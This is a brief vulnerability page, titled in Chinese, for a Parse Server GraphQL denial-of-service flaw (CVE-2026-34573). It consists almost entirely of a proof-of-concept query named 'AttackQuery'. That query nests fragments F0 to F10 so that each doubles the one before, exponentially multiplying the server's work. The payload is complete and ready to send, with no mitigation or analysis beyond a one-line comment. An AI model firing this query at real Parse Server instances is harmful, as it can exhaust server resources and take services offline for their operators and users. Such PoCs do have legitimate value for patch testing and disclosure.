CVE-2026-34573 Parse Server GraphQL拒绝服务漏洞

# PoC for GraphQL Binary Fan-out Fragment Spreads # This query exponentially increases complexity using fragment spreads. fragment F0 on Query { user { id } } fragment F1 on Query { ...F0 ...F0 } fragment F2 on Query { ...F1 ...F1 } fragment F3 on Query { ...F2 ...F2 } fragment F4 on Query { ...F3 ...F3 } fragment F5 on Query { ...F4 ...F4 } fragment F6 on Query { ...F5 ...F5 } fragment F7 on Query { ...F6 ...F6 } fragment F8 on Query { ...F7 ...F7 } fragment F9 on Query { ...F8 ...F8 } fragment F10 on Query { ...F9 ...F9 } query AttackQuery { ...F10 }